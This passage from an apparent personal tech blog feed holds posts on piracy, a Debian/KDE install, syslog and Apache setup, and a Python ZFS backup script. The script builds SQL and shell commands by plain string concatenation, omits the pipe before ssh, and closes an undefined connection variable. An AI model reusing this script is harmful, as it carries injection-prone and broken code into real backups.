your bloody DVD now fuck off and let me watch it. You don't get these stupid messages on pirate DVDs!&lt;br /&gt;&lt;br /&gt;And Another Thing, when your message goes&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;You Wouldn't steal a Purse&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;You Wouldn't steal a Car&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;etc.&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;You bloody well would if you could download it off the internet as &lt;span style="font-weight: bold;"&gt;IT'S NOT STEALING&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Downloading ALL your media from the internet should be ENCOURAGED, the Record Companies/Movie Studios/Rights Holders could make even MORE money if they distributed it via the internet, think about it. No packaging costs, no delivery costs (You, yes you in the back, shut up about bandwidth, it's something I'll come to in another post), quicker delivery times.&lt;br /&gt;My "proposal" goes like this.&lt;br /&gt;&lt;br /&gt;No DRM on the media (as its stupid and retarded and an inconvenience and useless, did I mention it was stupid?) - Saves people the inconvenience of having to rip/extract/convert to all their different media players. By extension don't pick a dumb (not open) file type - I'm looking at you WMV/M4P etc.&lt;br /&gt;&lt;br /&gt;People pay a monthly subscription to download a limited/unlimited amount, categorised by the bandwidth consumed, NOT the quantity of items DL'ed. You want to download the unlimited amount? pay more, you only want a few movies/songs a month, a lower tariff for you.&lt;br /&gt;&lt;br /&gt;New Releases - Available online at the same time as DVD release&lt;br /&gt;&lt;br /&gt;I think that this will work (i.e. be profitable) for a few reasons&lt;br /&gt;1. The Content Delivery Mechanism already exists and is a mature technology&lt;br /&gt;2. The absence of DRM encourages people to use it as they KNOW it will work on "their" device be it a set top box, and iPod, a Zune, a PSP etc etc&lt;br /&gt;3. Yes, you will get people on the "unlimited" plan ripping the arse out of it (you could establish a "fair usage" case but don't dare call it an "unlimited" plan) BUT by the same criteria the majority of users will play fair. Some of them will probably download an incredible amount in the first 2-3 months but after that will only download a limited selectio, if for example they only download files every 2 months &lt;span style="font-weight: bold;"&gt;THIS IS FREE MONEY&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;So to sum up&lt;br /&gt;Peer To Peer networking == Good and can be profitable for the "studios"&lt;br /&gt;Peer To Peer networking != Piracy&lt;br /&gt;Copyright Infringement != Theft&lt;br /&gt;Copyright Infringement != Piracy&lt;br /&gt;Piracy == Stealing Shit on The High Seas&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-5993563752923154986?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/5993563752923154986/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=5993563752923154986' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5993563752923154986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5993563752923154986'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/04/piracy-garrrr.html' title='Piracy - Garrrr'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_TkdF347n4Bk/SfBUpTz3cxI/AAAAAAAAAC8/BSpZwGCIrnk/s72-c/Piracy.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-971715100431666963</id><published>2009-04-08T07:18:00.005Z</published><updated>2009-06-03T13:50:31.285Z</updated><title type='text'>Installing Debian and KDE 4.2 - EPIC FAIL</title><content type='html'>Installed Debian 5.0.0 Testing from NetInstall CD&lt;br /&gt;Assigned Static IP in our subnet&lt;br /&gt;Used the entire 1st disk with guided partitioning and all files in one partition (Don't Judge me I just wanted it to work!)&lt;br /&gt;Added a temp user as if it worked I wanted to have "MY" home directory under subversion&lt;br /&gt;Told Aptitude to use &lt;pre&gt;&lt;code&gt;http://username:password@proxy.server.com:8080&lt;/code&gt;&lt;/pre&gt; so that it can get to the internet via ISA Proxy server&lt;br /&gt;Decided not to participate in Package Usage Contest&lt;br /&gt;Deselected the Desktop Environment Option&lt;br /&gt;Installed GRUB to MBR when prompted&lt;br /&gt;Logged in after reboot&lt;br /&gt;&lt;pre&gt;&lt;code&gt;su&lt;br /&gt;aptitude install sudo nano jed vim&lt;br /&gt;aptitude install ntlmaps&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;Added the unstable Repos to /etc/apt/sources.list&lt;br /&gt;&lt;pre&gt;&lt;code&gt;aptitude update&lt;br /&gt;aptitude -t squeeze upgrade &lt;/code&gt;&lt;/pre&gt;(This command appeared to access the unstable repo so didn't do what I told it to.)&lt;pre&gt;&lt;code&gt;&lt;br /&gt;aptitude -t squeeze dist-upgrade&lt;br /&gt;aptitude -t unstable upgrade&lt;br /&gt;aptitude -t unstable dist-upgrade&lt;br /&gt;aptitude -t unstable install xserver-xorg&lt;br /&gt;aptitude -t unstable install kdebase-runtime-bin-kde4&lt;br /&gt;aptitude -t unstable install kde4 &lt;/code&gt;&lt;/pre&gt;(accepted Solution relating to gnome and libnautilus)&lt;br /&gt;Set the root password for mySQL&lt;br /&gt;Set the default Domain for SAMBA&lt;br /&gt;&lt;br /&gt;Rebooted, KDM started and was able to login, initial login was slightly longer but assumed this was down to the kde config doing it's magic and setting up the initial config files that would be missing for each user.&lt;br /&gt;Shut down&lt;br /&gt;Added in graphics card (dual head so on-board graphics DISABLED)&lt;br /&gt;Start up, KDE starts fine, login - Hangs on KDE Splash screen&lt;br /&gt;&lt;br /&gt;THE SAME BLOODY WAY IT DID WHEN I DID 3 INSTALLS YESTERDAY&lt;br /&gt;&lt;br /&gt;What I want to know is why it didn't do what my current install of Kubuntu and KDE4 does... and just bloody worked when I added the extra card in.&lt;br /&gt;&lt;br /&gt;UPDATE&lt;br /&gt;&lt;br /&gt;See my latest post on Kubuntu 9.04 with dual monitors. Silly Daniel.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-971715100431666963?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/971715100431666963/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=971715100431666963' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/971715100431666963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/971715100431666963'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/04/installing-debian-and-kde-42-epic-fail.html' title='Installing Debian and KDE 4.2 - EPIC FAIL'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-1811669529864508160</id><published>2009-04-01T10:18:00.003Z</published><updated>2009-04-01T14:53:33.778Z</updated><title type='text'>Twittering</title><content type='html'>I've started twittering again (tweeting is it?) and have found it to be a. quite useful and b. good fun.&lt;br /&gt;&lt;br /&gt;It's (in my mind anyway) similar to a broadcast email, except that it's targetted at people who actually "want" to pay attention to you (followers).&lt;br /&gt;&lt;br /&gt;All the tweets with the exception of a direct message end up in your timeline, so you can see a conversation flowing along, if only there was a way to tie replies back to actual tweets rather than just a reply to someone (@user) that would make it a bit easier to follow a conversation between people that you may not follow rather than hopping back through their timeline.&lt;br /&gt;&lt;br /&gt;I find it's a pretty good way to expand your circle of friends and meet new and interesting people. If they aren't interesting DON'T FOLLOW THEM!&lt;br /&gt;&lt;br /&gt;There are some exceptions, Stephen Fry is Quite Interesting but a twit-flooder, i.e. your timeline could potentially be just Stephen.&lt;br /&gt;&lt;br /&gt;EDIT: Silly Me, I forgot to put my twitter name here, it's danmcl0703&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-1811669529864508160?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/1811669529864508160/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=1811669529864508160' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1811669529864508160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1811669529864508160'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/04/twittering.html' title='Twittering'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-5174848322959211972</id><published>2009-04-01T08:23:00.002Z</published><updated>2009-04-01T08:26:04.245Z</updated><title type='text'>Blog Changes</title><content type='html'>&lt;p&gt;&lt;span style="font-family:arial;"&gt;I'll be playing about with this blog over the next few weeks/months...&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:arial;"&gt;I'm specifically going to be playing with AdSense and the blog layout itself.I'm also going to be posting more, things that make me laugh, things that I need to remember (the basic initial premise of this blog) and anything else that I want really.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;So if you don't like it you don't have to read it, but I would really like it if you did!&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-5174848322959211972?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/5174848322959211972/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=5174848322959211972' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5174848322959211972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5174848322959211972'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/04/blog-changes.html' title='Blog Changes'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-2438173823055837715</id><published>2009-02-23T12:00:00.002Z</published><updated>2009-02-23T14:17:10.111Z</updated><title type='text'>Linux Admin in a Windows corporation</title><content type='html'>Over the next few months, I'm going to be writing about the tools, software, and problems/solutions I'm having being a linux admin in a windows corporation, everything so far runs on various versions of Windows, from windows 2000 right through to 2008 enterprise edition in a fair number of its guises.&lt;br /&gt;&lt;br /&gt;It's not been too bad so far, I have Windows 7 running inside Virtualbox on my Kubuntu desktop for things that absolutely require windows and some office stuff (like our corporate intranet site) but other than that I've been using kubuntu as my main machine.&lt;br /&gt;&lt;br /&gt;I've already implemented a squid proxy for some sites in our DMZ so that we can plug that hole in our firewall and allow them access out to the internet without hopping back to our internal network to the corporate ISA server.&lt;br /&gt;&lt;br /&gt;I've also got Nagios running alongside Splunk for Monitoring and SysLog collection for Windows Servers, they are running quite nicely but definitely need some time fettling with them, I have to say the 15min guide for Nagios on their new site is actually lying, it doesn't take anywhere near 15 minutes, its on the good side of 10!&lt;br /&gt;&lt;br /&gt;Anyway, enough for now.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-2438173823055837715?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/2438173823055837715/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=2438173823055837715' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/2438173823055837715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/2438173823055837715'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/02/linux-admin-in-windows-corporation.html' title='Linux Admin in a Windows corporation'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-6317072353269197529</id><published>2009-02-13T14:52:00.003Z</published><updated>2009-04-02T08:27:03.649Z</updated><title type='text'>Central Syslog for Servers</title><content type='html'>EDIT: This post was written in a hurry but I promise I will come back to it soon to elaborate.&lt;br /&gt;&lt;br /&gt;There's something incredibly useful about not having your server logs only on the server itself, the first is when someone compromises your server, plays about with it a bit and then deletes the log files.&lt;br /&gt;The second is having all your log files in one place so you can run tools like Splunk on them.&lt;br /&gt;&lt;br /&gt;This is how you go about doing it. I will assume that the syslog server (where the logs go to) is running some variation of Linux, these instructions will be largely focussed on Debian.&lt;br /&gt;&lt;br /&gt;/etc/init.d/sysklogd stop&lt;br /&gt;edit /etc/sysklogd.conf&lt;br /&gt;change syslogd "" to syslogd "-r -m0" &lt;br /&gt;&lt;br /&gt;This will allow remote machines to log to this (-r) and will remove the --MARK-- (-m0) that plagues your logs, I'm still in 2 minds about removing the "mark" as it lets you know that your logs are being written to, but on a large network there will (most likely) always be something somewhere writing to a log file.&lt;br /&gt;&lt;br /&gt;okay, next open up /etc/syslog.conf and add&lt;br /&gt;&lt;br /&gt;local7.debug /var/log/enterprise.log &lt;br /&gt;&lt;br /&gt;this will allow Cisco and Windows devices to log to this machine.&lt;br /&gt;&lt;br /&gt;/etc/init.d/sysklogd start&lt;br /&gt;&lt;br /&gt;DONE on the server&lt;br /&gt;&lt;br /&gt;On Windows Clients&lt;br /&gt;&lt;br /&gt;Download SNARE from intersect Alliance install it and don't use the web interface.&lt;br /&gt;&lt;br /&gt;run regedit and edit HKEY_LOCAL_MACHINE\SOFTWARE\InterSect Alliance\AuditService\&lt;br /&gt;&lt;br /&gt;in config, change the delimiter to be " " (i.e. a space)&lt;br /&gt;in network change the destination to be your syslog server&lt;br /&gt;and also in network check that the port is set to 514, this is the default.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-6317072353269197529?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/6317072353269197529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=6317072353269197529' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/6317072353269197529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/6317072353269197529'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/02/central-syslog-for-servers.html' title='Central Syslog for Servers'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-5894915280587447841</id><published>2008-10-02T13:38:00.007Z</published><updated>2009-04-02T08:32:07.282Z</updated><title type='text'>Python ZFS Backup Script</title><content type='html'>This is my incremental backup script for ZFS on Solaris 10&lt;br /&gt;REQUIREMENTS:&lt;br /&gt;mysql&lt;br /&gt;python&lt;br /&gt;pymysql&lt;br /&gt;install these by doing this&lt;br /&gt;&lt;pre&gt;&lt;code&gt;/opt/csw/bin/pkg-get -i mysql5&lt;br /&gt;/opt/csw/bin/pkg-get -i python&lt;br /&gt;/opt/csw/bin/pkg-get -i pymysql&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Requires a mySQL database with a table called logs in a database called backups, please feel free to amend this but remember to update the script below.&lt;br /&gt;NOTES:&lt;br /&gt;You will have to tab indent this script manually as I haven't figured out how to do it in here&lt;br /&gt;SCRIPT:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python&lt;br /&gt;#backup_script_v0.1.py - Backup ZFS pool for sportsware&lt;br /&gt;import sys&lt;br /&gt;import MySQLdb&lt;br /&gt;import os&lt;br /&gt;import commands&lt;br /&gt;import smtplib&lt;br /&gt;import time&lt;br /&gt;#set fixed parameters here&lt;br /&gt;smtpserver = "IP.ADDRESS"&lt;br /&gt;adminEmail = "address mail comes from"&lt;br /&gt;backupsEmail = "address mail goes to"&lt;br /&gt;targetZFSHost = "IP/hostname of ZFS target"&lt;br /&gt;sourceZFSPool = "the zfs volume to be backed up"&lt;br /&gt;targetZFSPool = "the zfs volume to back up to"&lt;br /&gt;thisServer = "name of this server"&lt;br /&gt;thisClient = "name of client"&lt;br /&gt;&lt;br /&gt;#database connection attempts go here&lt;br /&gt;try:&lt;br /&gt;      DBlog = MySQLdb.connect (host = "database IP",&lt;br /&gt;            user = "backups_user",&lt;br /&gt;            passwd = "backups_pass",&lt;br /&gt;            db = "backups")&lt;br /&gt;except MySQLdb.Error, e:&lt;br /&gt;      print "Error %d: %s" % (e.args[0], e.args[1])&lt;br /&gt;      sys.exit (1)&lt;br /&gt;&lt;br /&gt;startTime = time.time()&lt;br /&gt;timestamp = time.strftime("%Y%m%d%H%M")&lt;br /&gt;buildSnapshotCommand = "zfs snapshot "+sourceZFSPool+"@"+timestamp&lt;br /&gt;lastSnapshotCommand = "zfs list -r -t snapshot -o name "+sourceZFSPool&lt;br /&gt;lastSnapshotInput = commands.getoutput(lastSnapshotCommand)&lt;br /&gt;lastSnapshot = lastSnapshotInput[-12:]&lt;br /&gt;zfsSendRecvCommand = "zfs send -i "+sourceZFSPool+"@"+lastSnapshot+" "+sourceZFSPool+"@"+timestamp+"  ssh -C "+targetZFSHost+" zfs recv "+targetZFSPool&lt;br /&gt;print "Creating Snapshot"&lt;br /&gt;#CREATING THE SNAPSHOT&lt;br /&gt;status = commands.getoutput(buildSnapshotCommand)&lt;br /&gt;if status == "":&lt;br /&gt;      logStatus="No snapshot error occurred"&lt;br /&gt;else:&lt;br /&gt;      logStatus=status&lt;br /&gt;      print logStatus&lt;br /&gt;      #build mail connection&lt;br /&gt;      mailSession = smtplib.SMTP(smtpserver)&lt;br /&gt;      emailMessage="To: "+adminEmail+"\nFrom: "+backupsEmail+"\nSubject:ZFS Snapshot Error occurred:\nThe following error occured at "+time.strftime("%H:%M - %d/%m/%Y")+"\n"+logStatus&lt;br /&gt;      mailSession.sendmail(backupsEmail,adminEmail,emailMessage)&lt;br /&gt;      mailSession.quit()&lt;br /&gt;&lt;br /&gt;Logging = DBlog.cursor()&lt;br /&gt;LoggingInsert = "INSERT INTO logs (site_name,server_name,log_output) VALUES ('"+thisClient+"\','"+thisServer+"\',\'"+logStatus+"\');"&lt;br /&gt;Logging.execute(LoggingInsert)&lt;br /&gt;endTime = time.time()&lt;br /&gt;timeSpent=endTime - startTime&lt;br /&gt;print "Sending Snapshot"&lt;br /&gt;#ZFS SEND/RECV&lt;br /&gt;status = commands.getoutput(zfsSendRecvCommand)&lt;br /&gt;if status == "":&lt;br /&gt;      sendlogStatus="No ZFS transmission error occurred"&lt;br /&gt;else:&lt;br /&gt;      logStatus=status&lt;br /&gt;      print logStatus&lt;br /&gt;      #build mail connection&lt;br /&gt;      mailSession = smtplib.SMTP(smtpserver)&lt;br /&gt;      emailMessage="To: "+adminEmail+"\nFrom: "+backupsEmail+"\nSubject:ZFS Send/Recv Error occurred:\nThe following error occured at "+time.strftime("%H:%M - %d/%m/%Y")+"\n"+logStatus&lt;br /&gt;      mailSession.sendmail(backupsEmail,adminEmail,emailMessage)&lt;br /&gt;      mailSession.quit()&lt;br /&gt;&lt;br /&gt;Logging = DBlog.cursor()&lt;br /&gt;LoggingInsert = "INSERT INTO logs (site_name,server_name,log_output) VALUES ('"+thisClient+"\','"+thisServer+"\',\'"+logStatus+"\');"&lt;br /&gt;Logging.execute(LoggingInsert)&lt;br /&gt;endTime = time.time()&lt;br /&gt;timeSpent=endTime - startTime&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;emailCompletionMessage="To: "+adminEmail+"\nFrom: "+backupsEmail+"\nSubject:Backups Completed at "+time.strftime("%H:%M - %d/%m/%Y")+"\nThe ZFS Backups Completed @"+time.strftime("%H:%M - %d/%m/%Y")+"\n\n They completed in "+str(timeSpent)+" seconds"&lt;br /&gt;zipMailSession = smtplib.SMTP(smtpserver)&lt;br /&gt;zipMailSession.sendmail(backupsEmail,adminEmail,emailCompletionMessage)&lt;br /&gt;zipMailSession.quit()&lt;br /&gt;print endTime&lt;br /&gt;DBconn.close()&lt;br /&gt;sys.exit(0)&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-5894915280587447841?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/5894915280587447841/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=5894915280587447841' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5894915280587447841'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5894915280587447841'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2008/10/python-zfs-backup-script.html' title='Python ZFS Backup Script'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-1949048326996843528</id><published>2008-09-10T15:58:00.001Z</published><updated>2008-09-10T15:58:35.541Z</updated><title type='text'>00:11:09:94:84:27</title><content type='html'>Nothing to see here, move along.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-1949048326996843528?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/1949048326996843528/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=1949048326996843528' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1949048326996843528'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1949048326996843528'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2008/09/001109948427.html' title='00:11:09:94:84:27'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-6456070403501861584</id><published>2008-08-13T08:52:00.005Z</published><updated>2009-04-02T08:09:21.540Z</updated><title type='text'>Simple password protection in Apache 2.x</title><content type='html'>Just dropping this in here so I can find it again, I could never get .htaccess files to work in windows so this works in the same way&lt;br /&gt;&lt;br /&gt;Use &lt;code&gt;htpasswd -cb filename username password&lt;/code&gt; to create your hashed password file&lt;br /&gt;&lt;br /&gt;put  &lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;directory "some directory tree to protect"&amp;gt;&lt;br /&gt;   AllowOverride None&lt;br /&gt;   Options None&lt;br /&gt;   AuthType Basic &lt;br /&gt;   AuthUserFile "path to password file &lt;br /&gt;   AuthName "message for users" &lt;br /&gt;   require valid-user &lt;br /&gt;   Order deny, allow&lt;br /&gt;&amp;lt;/directory&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-6456070403501861584?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/6456070403501861584/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=6456070403501861584' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/6456070403501861584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/6456070403501861584'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2008/08/simple-password-protection-in-apache-2x.html' title='Simple password protection in Apache 2.x'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-3086254823394668061</id><published>2008-08-12T15:06:00.000Z</published><updated>2008-08-12T15:22:16.649Z</updated><title type='text'>Tech I Touch #2</title><content type='html'>Time for another installment of this section! This time it's the turn of my macbooks.&lt;br /&gt;&lt;br /&gt;At the minute I am currently using 2 macbooks, one a 1st generation MacBook and the other is the latest version of the MacBook Pro.&lt;br /&gt;&lt;br /&gt;Both are admirable performers in their own way, they both fulfill computing needs that I have.&lt;br /&gt;&lt;br /&gt;The MacBook Pro was supplied by my employers (cheers for that if anyone is reading!) as my day-to-day office machine, the 15.4" screen makes it a bit more pleasing to use for longer periods. It's a fantastic piece of hardware, up to my usual exceptionally high engineering standards.&lt;br /&gt;&lt;br /&gt;My MacBook (Black 2 GHz Core Duo) is my own machine, its a few years old now but is still my number one machine, I use it primarily at home as the smaller screen is a bit less intrusive, if I had to travel a lot, I would definitely have requested another one of these as the smaller size isn't noticeable in use but definitely when packing it or carrying it about.&lt;br /&gt;&lt;br /&gt;Both have their individual merits, the backlit keyboard on the MBP but I prefer the feel of the keys on the MB, they remind me of the ZX spectrum I owned once upon a time. I find it more pleasant to type on but I am a very aggressive typist.&lt;br /&gt;&lt;br /&gt;I always said to people that "personally I didn't see a use for the MacBook Air", but I think that I may have been taken out of context. I think it is a very capable machine but it just doesn't suit my computing style; that's not to say that I wouldn't want to have one to play about with. I like the compactness but would miss several of the features, a wired ethernet port being the most important. But there is definitely a market for it, as evidenced by the slew of ultraportables that have been released in direct competition for it.&lt;br /&gt;&lt;br /&gt;If I had to choose an ultraportable it most likely would be the Air as the price is about right and it can run OS X (legally and without hackery) which is definitely my preferred operating system at the moment. A linux KDE system might overtake it but I'm not particularly taken by KDE 4 right at this present moment, 3.x was fine and I preferred it to Gnome and KDE 4 but I'm strongly tempted to go back to Gnome if 3.x becomes unavailable.&lt;br /&gt;&lt;br /&gt;Oh dear, this has turned into a rant of some kind, and I don't want to start a browser/os/window manager war at all.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-3086254823394668061?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/3086254823394668061/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=3086254823394668061' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/3086254823394668061'/><link rel='self' type='application/atom+xml' 